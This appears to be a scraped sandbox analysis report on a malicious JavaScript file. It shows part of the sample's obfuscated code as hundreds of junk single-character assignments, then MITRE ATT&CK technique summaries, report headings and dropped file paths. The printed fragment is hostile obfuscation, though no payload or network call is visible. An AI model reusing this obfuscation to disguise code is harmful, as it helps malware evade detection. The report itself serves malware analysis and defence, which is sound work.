569	mzrwl = "o";
570	mzrwl = "U";
571	mzrwl = "m";
572	culzygz = "Z";
573	culzygz = "M";
574	culzygz = "A";
575	culzygz = "k";
576	xbfyvaz = "m";
577	xbfyvaz = "r";
578	xbfyvaz = "K";
579	xbfyvaz = "A";
580	xbfyvaz = "b";
581	xbfyvaz = "v";
582	xbfyvaz = "q";
583	xbfyvaz = "K";
584	xbfyvaz = "H";
585	xbfyvaz = "q";
586	xbfyvaz = "W";
587	xbfyvaz = "T";
588	xbfyvaz = "p";
589	xbfyvaz = "N";
590	xbfyvaz = "P";
591	xbfyvaz = "M";
592	xbfyvaz = "W";
593	xbfyvaz = "U";
594	xbfyvaz = "F";
595	xbfyvaz = "u";
596	xbfyvaz = "C";
597	ujjmirx = "U";
598	ujjmirx = "R";
599	ujjmirx = "w";
600	ujjmirx = "f";
601	ujjmirx = "v";
602	ujjmirx = "D";
603	ujjmirx = "e";
604	ujjmirx = "m";
605	ujjmirx = "j";
606	ujjmirx = "c";
607	ujjmirx = "J";
608	ujjmirx = "C";
609	ujjmirx = "-";
610	ttvuzotbt = "L";
611	ttvuzotbt = "L";
612	ttvuzotbt = "d";
613	ttvuzotbt = "a";
614	ttvuzotbt = "S";
615	ttvuzotbt = "N";
616	ttvuzotbt = "u";
617	ttvuzotbt = "p";
618	etudmkpef = "L";
619	etudmkpef = "v";
620	etudmkpef = "d";
621	etudmkpef = "Z";
622	etudmkpef = "t";
623	etudmkpef = "r";
624	etudmkpef = "w";
625	etudmkpef = "i";
626	etudmkpef = "Q";
627	etudmkpef = "v";
628	etudmkpef = "M";
629	etudmkpef = "X";
630	etudmkpef = "Z";
631	etudmkpef = "c";
632	etudmkpef = "T";
633	etudmkpef = "D";
634	etudmkpef = "f";
635	etudmkpef = "d";
636	etudmkpef = "L";
637	etudmkpef = "p";
638	etudmkpef = "S";
639	etudmkpef = "@";
640	qafjflzl = "G";
641	qafjflzl = "Q";
642	qafjflzl = "A";
643	qafjflzl = "T";
644	qafjflzl = "z";
645	qafjflzl = "u";
646	qafjflzl = "S";
647	qafjflzl = "I";
648	qafjflzl = "g";
649	qafjflzl = "h";
650	qafjflzl = "G";
651	qafjflzl = "A";
652	qafjflzl = "t";
653	qafjflzl = "l";
654	qafjflzl = "y";
655	qafjflzl = "P";
656	qafjflzl = "f";
657	qafjflzl = "T";
658	qafjflzl = "W";
659	qafjflzl = "e";
660	qafjflzl = "N";
661	qafjflzl = "u";
662	qafjflzl = "K";
663	qafjflzl = "R";
664	qafjflzl = "y";
665	qafjflzl = "B";
666	qafjflzl = "W";
667	qafjflzl = "L";
668	qafjflzl = "F";
669	qafjflzl = "j";
670	qafjflzl = "D";
671	qafjflzl = "E";
672	qafjflzl = "b";
673	qafjflzl = "F";
674	qafjflzl = "p";
675	qafjflzl = "m";
676	qafjflzl = "t";
677	qafjflzl = "B";
678	qafjflzl = "r";
679	qafjflzl = "d";
680	qafjflzl = "C";
681	qafjflzl = "c";
682	qafjflzl = "X";
683	qafjflzl = "l";
684	pegpqkl = "v";
685	pegpqkl = "z";
686	pegpqkl = "B";
687	pegpqkl = "I";
688	pegpqkl = "D";
689	pegpqkl = "d";
690	pegpqkl = "C";
691	pegpqkl = "J";
692	pegpqkl = "q";
693	pegpqkl = "h";
694	pegpqkl = "T";
695	pegpqkl = "b";
696	psszuqc = "f";
697	psszuqc = "c";
698	psszuqc = "g";
699	psszuqc = "k";
700	psszuqc = "h";
701	psszuqc = "Y";
702	psszuqc = "K";
703	psszuqc = "x";
704	psszuqc = "z";
705	psszuqc = ".";
706	ojdltbd = "k";
707	ojdltbd = "i";
708	ojdltbd = "r";
709	ojdltbd = "F";
710	ojdltbd = "c";
711	ojdltbd = "p";
712	ojdltbd = "i";
713	ojdltbd = "C";
714	ojdltbd = "u";
715	ojdltbd = "L";
716	ojdltbd = "l";
717	ojdltbd = "Q";
718	ojdltbd = "A";
719	ojdltbd = "L";
720	ojdltbd = "p";
721	ojdltbd = "m";
722	ojdltbd = "p";
723	ojdltbd = "A";
724	ojdltbd = "L";
725	ojdltbd = "N";
726	ojdltbd = "s";
727	ojdltbd = "Z";
728	ojdltbd = "y";
729	ojdltbd = "O";
730	ojdltbd = "u";
731	ojvqomryg = "V";
732	ojvqomryg = "W";
733	ojvqomryg = "I";
734	ojvqomryg = "J";
735	ojvqomryg = "m";
736	ojvqomryg = "A";
737	ojvqomryg = "x";
738	ojvqomryg = "q";
739	ojvqomryg = "n";
740	ojvqomryg = "X";
741	ojvqomryg = "8";
742	bvdbn = "Z";
743	bvdbn = "g";
744	bvdbn = "a";
745	bvdbn = "B";
746	bvdbn = "T";
747	bvdbn = "a";
748	bvdbn = "T";
749	bvdbn = "b";
750	bvdbn = "w";
751	bvdbn = "B";
752	bvdbn = "i";
753	bvdbn = "D";
754	bvdbn = "a";
755	bvdbn = "x";
756	bvdbn = "I";
757	bvdbn = "r";
758	bvdbn = "T";
759	bvdbn = "X";
760	bvdbn = "L";
761	dkzest = "K";
762	dkzest = "e";
763	dkzest = "G";
764	dkzest = "w";
765	dkzest = "N";
766	dkzest = "r";
767	dkzest = "P";
768	dkzest = "m";
769	dkzest = "k";
770	dkzest = "c";
771	dkzest = "L";
772	dkzest = "R";
773	dkzest = "h";
774	dkzest = "i";
775	dkzest = "T";
776	dkzest = "F";
777	dkzest = "n";
778	dkzest = "R";
779	dkzest = "S";
780	dkzest = "N";
781	dkzest = "M";
782	dkzest = "V";
783	dkzest = "R";
784	dkzest = "r";
785	dkzest = "Q";
786	dkzest = "B";
787	dkzest = "A";
788	dkzest = "o";
789	dkzest = "b";
790	dkzest = "f";
791	dkzest = "t";
792	dkzest = "N";
793	dkzest = "M";
794	dkzest = "j";
795	dkzest = "k";
796	dkzest = "l";
797	dkzest = "w";
798	dkzest = "\\";
799	mekdj = "f";
800	mekdj = "L";
801	mekdj = "n";
802	mekdj = "b";
803	mekdj = "q";
804	mekdj = "E";
805	mekdj = "a";
806	mekdj = "E";
807	rvqxmoxfo = "w";
808	rvqxmoxfo = "z";
809	rvqxmoxfo = "U";
810	rvqxmoxfo = "f";
811	rvqxmoxfo = "w";
812	pratzzr = "D";
813	pratzzr = "z";
814	pratzzr = "t";
815	pratzzr = "O";
816	pratzzr = "m";
817	pratzzr = "m";
818	pratzzr = "c";
819	djlgfmzii = "v";
820	djlgfmzii = "y";
821	djlgfmzii = "O";
822	djlgfmzii = "n";
823	djlgfmzii = "C";
824	djlgfmzii = "P";
825	djlgfmzii = "J";
826	djlgfmzii = "t";
827	djlgfmzii = "t";
828	djlgfmzii = "i";
829	djlgfmzii = "V";
830	djlgfmzii = "v";
831	djlgfmzii = "L";
832	djlgfmzii = "O";
833	djlgfmzii = "s";
834	djlgfmzii = "W";
835	djlgfmzii = "G";
836	djlgfmzii = "i";
837	djlgfmzii = "x";
838	djlgfmzii = "T";
839	djlgfmzii = "a";
840	djlgfmzii = "C";
841	djlgfmzii = "J";
842	djlgfmzii = "A";
843	djlgfmzii = "L";
844	djlgfmzii = "j";
845	djlgfmzii = "K";
846	djlgfmzii = "B";
847	djlgfmzii = "z";
848	djlgfmzii = "H";
849	djlgfmzii = "Q";
850	djlgfmzii = "h";
851	djlgfmzii = "v";
852	djlgfmzii = "k";
853	djlgfmzii = "p";
854	djlgfmzii = "g";
855	djlgfmzii = "t";
856	djlgfmzii = "A";
857	djlgfmzii = "E";
858	djlgfmzii = "Z";
859	djlgfmzii = "d";
860	djlgfmzii = "q";
861	djlgfmzii = "1";
862	mamcgbtz = "p";
863	mamcgbtz = "K";
864	mamcgbtz = "s";
865	ybjmxsuop = "m";
866	ybjmxsuop = "V";
867	ybjmxsuop = "e";
868	ybjmxsuop = "i";
869	ybjmxsuop = "A";
870	ybjmxsuop = "g";
871	ybjmxsuop = "E";
872	ybjmxsuop = "Y";
873	ybjmxsuop = "j";
874	ybjmxsuop = "F";
875	ybjmxsuop = "r";
876	ybjmxsuop = "V";
877	ybjmxsuop = "t";
878	ybjmxsuop = "v";
879	ybjmxsuop = "L";
880	ybjmxsuop = "Y";
881	ybjmxsuop = "K";
882	ybjmxsuop = "B";
883	ybjmxsuop = "I";
884	ybjmxsuop = "T";
885	haugqjan = "W";
886	haugqjan = "y";
887	haugqjan = "c";
888	haugqjan = "Y";
889	haugqjan = "S";
890	rdapr = "Y";
891	rdapr = "g";
892	rdapr = "F";
893	rdapr = "r";
894	rdapr = "r";
895	rdapr = "I";
896	rdapr = "g";
897	rdapr = "Z";
898	rdapr = "C";
899	rdapr = "O";
900	rdapr = "e";
901	rdapr = "e";
902	rdapr = "r";
903	rdapr = "R";
904	rdapr = "a";
905	rdapr = "L";
906	rdapr = "Y";
907	rdapr = "N";
908	rdapr = "W";
909	rdapr = "v";
910	rdapr = "q";
911	rdapr = "x";
912	rdapr = "l";
913	rdapr = "G";
914	rdapr = "q";
915	rdapr = "n";
916	rdapr = "v";
917	rdapr = "v";
918	rdapr = "h";
919	rdapr = "O";
920	rdapr = "R";
921	rdapr = "y";
922	rdapr = "r";
923	rdapr = "w";
924	rdapr = "f";
925	rdapr = "t";
926	olsggnjkt = "j";
927	olsggnjkt = "6";
928	vaecrq = "i";
929	vaecrq = "b";
930	vaecrq = "U";
931	vaecrq = "X";
932	vaecrq = "u";
933	vaecrq = "y";
934	vaecrq = "O";
935	vaecrq = "r";
936	rttfp = "g";
937	rttfp = "E";
938	rttfp = "U";
939	rttfp = "W";
940	rttfp = "A";
941	rttfp = "d";
942	rttfp = "G";
943	rttfp = "G";
944	rttfp = "E";
945	rttfp = "O";
946	rttfp = "S";
947	rttfp = "A";
948	rttfp = "u";
949	rttfp = "D";
950	rttfp = "J";
951	rttfp = "o";
952	rttfp = "D";
953	rttfp = "M";
954	rttfp = "A";
955	rttfp = "x";
956	rttfp = "z";
957	rttfp = "U";
958	rttfp = "C";
959	rttfp = "s";
960	rttfp = "Z";
961	rttfp = "e";
962	rttfp = "N";
963	rttfp = "g";
964	sjeqpev = "H";
965	sjeqpev = "n";
966	sjeqpev = "b";
967	sjeqpev = "H";
968	sjeqpev = "f";
969	sjeqpev = "j";
970	sjeqpev = "u";
971	sjeqpev = "T";
972	sjeqpev = "N";
973	sjeqpev = "v";
974	sjeqpev = "n";
975	sjeqpev = "M";
976	sjeqpev = "K";
977	sjeqpev = "d";
978	sjeqpev = "q";
979	sjeqpev = "S";
980	sjeqpev = "R";
981	sjeqpev = "Q";
982	sjeqpev = "u";
983	sjeqpev = "_";
984	cetufkz = "J";
985	cetufkz = "H";
986	cetufkz = "x";
987	cetufkz = "p";
988	cetufkz = "X";
989	cetufkz = "j";
990	cetufkz = "i";
991	cetufkz = "t";
992	cetufkz = "E";
993	cetufkz = "y";
994	cetufkz = "N";
995	cetufkz = "j";
996	cetufkz = "U";
997	cetufkz = "q";
998	cetufkz = "F";
999	cetufkz = "j";
1000	cetufkz = "Q";
1001	cetufkz = "Y";
1002	cetufkz = "C";
1003	cetufkz = "F";
1004	cetufkz = "V";
1005	cetufkz = "x";
1006	cetufkz = "n";
1007	cetufkz = "R";
1008	cetufkz = "x";
1009	cetufkz = "u";
1010	cetufkz = "Y";
1011	cetufkz = "N";
1012	uovadv = "n";
1013	uovadv = "j";
1014	uovadv = "t";
1015	uovadv = "h";
1016	uovadv = "Y";
1017	uovadv = "i";
1018	uovadv = "v";
1019	uovadv = "y";
1020	uovadv = "w";
1021	uovadv = "O";
1022	uovadv = "S";
1023	uovadv = "d";
1024	uovadv = "o";
1025	rzggx = "R";
1026	rzggx = "n";
1027	rzggx = "Z";
1028	rzggx = "m";
1029	rzggx = "O";
1030	rzggx = "i";
1031	rzggx = "V";
1032	rzggx = "C";
1033	rzggx = "K";
1034	rzggx = "O";
1035	rzggx = "d";
1036	rzggx = "s";
1037	rzggx = "E";
1038	rzggx = "B";
1039	rzggx = "p";
1040	rzggx = "j";
1041	rzggx = "Z";
1042	rzggx = "f";
1043	rzggx = "O";
1044	rzggx = "E";
1045	rzggx = "S";
1046	rzggx = "b";
1047	rzggx = "c";
1048	rzggx = "X";
1049	rzggx = "S";
1050	rzggx = "m";
1051	rzggx = ":";
1052	suzimjmum = "O";
1053	suzimjmum = "D";
1054	suzimjmum = "v";
1055	suzimjmum = "K";
1056	suzimjmum = "p";
1057	suzimjmum = "x";
1058	suzimjmum = "d";
1059	suzimjmum = "W";
1060	suzimjmum = "H";
1061	suzimjmum = "S";
1062	suzimjmum = "X";
1063	suzimjmum = "n";
1064	suzimjmum = "w";
1065	suzimjmum = "G";
1066	suzimjmum = "c";
1067	suzimjmum = "A";
1068	suzimjmum = "Y";
1069	suzimjmum = "b";
1070	suzimjmum = "t";
1071	suzimjmum = "g";
1072	suzimjmum = "M";
1073	suzimjmum = "W";
1074	suzimjmum = "W";
1075	suzimjmum = "J";
1076	suzimjmum = "j";
1077	suzimjmum = "i";
1078	suzimjmum = "l";
1079	suzimjmum = "I";
1080	suzimjmum = "N";
1081	suzimjmum = "q";
1082	suzimjmum = "D";
1083	suzimjmum = "U";
1084	suzimjmum = "b";
1085	suzimjmum = "O";
1086	suzimjmum = "A";
1087	suzimjmum = "e";
1088	hmjepmq = "W";
1089	hmjepmq = "t";
1090	hmjepmq = "Y";
1091	hmjepmq = "s";
1092	hmjepmq = "C";
1093	hmjepmq = "j";
1094	hmjepmq = "n";
1095	hmjepmq = "x";
1096	hmjepmq = "V";
1097	hmjepmq = "o";
1098	hmjepmq = "z";
1099	hmjepmq = "v";
1100	hmjepmq = "s";
1101	hmjepmq = "O";
1102	hmjepmq = "Z";
1103	hmjepmq = "I";
1104	hmjepmq = "w";
1105	hmjepmq = "P";
1106	hmjepmq = "K";
1107	hmjepmq = "u";
1108	hmjepmq = "q";
1109	hmjepmq = "p";
1110	hmjepmq = "g";
1111	hmjepmq = "o";
1112	hmjepmq = "w";
1113	hmjepmq = "J";
1114	hmjepmq = "D";
1115	hmjepmq = "v";
1116	dwlyrvl = "J";
1117	dwlyrvl = "l";
1118	dwlyrvl = "p";
1119	dwlyrvl = "U";
1120	dwlyrvl = "x";
1121	dwlyrvl = "w";
1122	dwlyrvl = "x";
1123	dwlyrvl = "D";
1124	dwlyrvl = "x";
1125	dwlyrvl = "Y";
1126	dwlyrvl = "A";
1127	dwlyrvl = "X";
1128	dwlyrvl = "p";
1129	dwlyrvl = "x";
1130	dwlyrvl = "G";
1131	dwlyrvl = "V";
1132	dwlyrvl = "M";
1133	dwlyrvl = "E";
1134	dwlyrvl = "G";
1135	dwlyrvl = "N";
1136	dwlyrvl = "p";
1137	dwlyrvl = "D";
1138	dwlyrvl = "i";
1139	dwlyrvl = "m";
1140	dwlyrvl = "d";
1141	dwlyrvl = "Q";
1142	dwlyrvl = "D";
1143	dwlyrvl = "K";
1144	dwlyrvl = "W";
1145	dwlyrvl = "q";
1146	dwlyrvl = "f";
1147	dwlyrvl = "Z";
1148	dwlyrvl = "C";
1149	dwlyrvl = "x";
1150	dwlyrvl = "s";
1151	dwlyrvl = "n";
1152	dwlyrvl = "b";
1153	dwlyrvl = "I";
1154	dwlyrvl = "M";
1155	dwlyrvl = "I";
1156	dwlyrvl = "H";
1157	dwlyrvl = "c";
1158	dwlyrvl = "t";
1159	dwlyrvl = "l";
1160	dwlyrvl = "3";
1161	dpbovpwmt = "D";
1162	dpbovpwmt = "C";
1163	dpbovpwmt = "w";
1164	dpbovpwmt = "t";
1165	dpbovpwmt = "I";
1166	dpbovpwmt = "O";
1167	hdvueun = "r";
1168	hdvueun = "U";
1169	hdvueun = "c";
1170	hdvueun = "c";
1171	hdvueun = "T";
1172	hdvueun = "E";
1173	hdvueun = "J";
1174	hdvueun = "f";
1175	hdvueun = "a";
1176	hdvueun = "B";
1177	hdvueun = "E";
1178	hdvueun = "y";
1179	hdvueun = "a";
1180	hdvueun = "s";
1181	hdvueun = "M";
1182	hdvueun = "n";
1183	hdvueun = "v";
1184	hdvueun = "E";
1185	hdvueun = "K";
1186	hdvueun = "w";
1187	hdvueun = "Z";
1188	hdvueun = "l";
1189	hdvueun = "D";
1190	hdvueun = "J";
1191	hdvueun = "u";
1192	hdvueun = "n";
1193	hdvueun = "r";
1194	hdvueun = "b";
1195	hdvueun = "W";
1196	aqsouh = "J";
1197	aqsouh = "v";
1198	aqsouh = "H";
1199	aqsouh = "W";
1200	aqsouh = "K";
1201	aqsouh = "N";
1202	aqsouh = "x";
1203	aqsouh = "Y";
1204	aqsouh = "v";
1205	aqsouh = "T";
1206	aqsouh = "y";
1207	aqsouh = "A";
1208	aqsouh = "z";
1209	aqsouh = "E";
1210	aqsouh = "b";
1211	aqsouh = "w";
1212	aqsouh = "F";
1213	aqsouh = "l";
1214	aqsouh = "p";
1215	aqsouh = "B";
1216	aqsouh = "n";
1217	aqsouh = "E";
1218	aqsouh = "O";
1219	aqsouh = "A";
1220	aqsouh = "k";
1221	aqsouh = "R";
1222	aqsouh = "9";
1223	jlknqm = "E";
1224	jlknqm = "D";
1225	jlknqm = "z";
1226	jlknqm = "l";
1227	jlknqm = "m";
1228	jlknqm = "W";
1229	jlknqm = "j";
1230	jlknqm = "p";
1231	jlknqm = "H";
1232	jlknqm = "N";
1233	jlknqm = "l";
1234	jlknqm = "i";
1235	jlknqm = "O";
1236	jlknqm = "W";
1237	jlknqm = "q";
1238	jlknqm = "f";
1239	jlknqm = "P";
1240	jlknqm = "J";
1241	jlknqm = "f";
1242	jlknqm = "Q";
1243	jrgrx = "H";
1244	jrgrx = "a";
1245	jrgrx = "x";
1246	jrgrx = "N";
1247	jrgrx = "v";
1248	jrgrx = "x";
1249	jrgrx = "t";
1250	jrgrx = "o";
1251	jrgrx = "n";
1252	jrgrx = "j";
1253	jrgrx = "J";
1254	jrgrx = "g";
1255	jrgrx = "W";
1256	jrgrx = "j";
1257	jrgrx = "S";
1258	jrgrx = "C";
1259	jrgrx = "U";
1260	jrgrx = "C";
1261	jrgrx = "F";
1262	jrgrx = "i";
1263	jrgrx = "r";
1264	jrgrx = "x";
1265	jrgrx = "d";
1266	udlsddfc ( );	udlsddfc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 201672639780846903.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bb5fba09-2ffc-4b22-9f88-26cf4810ccbb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

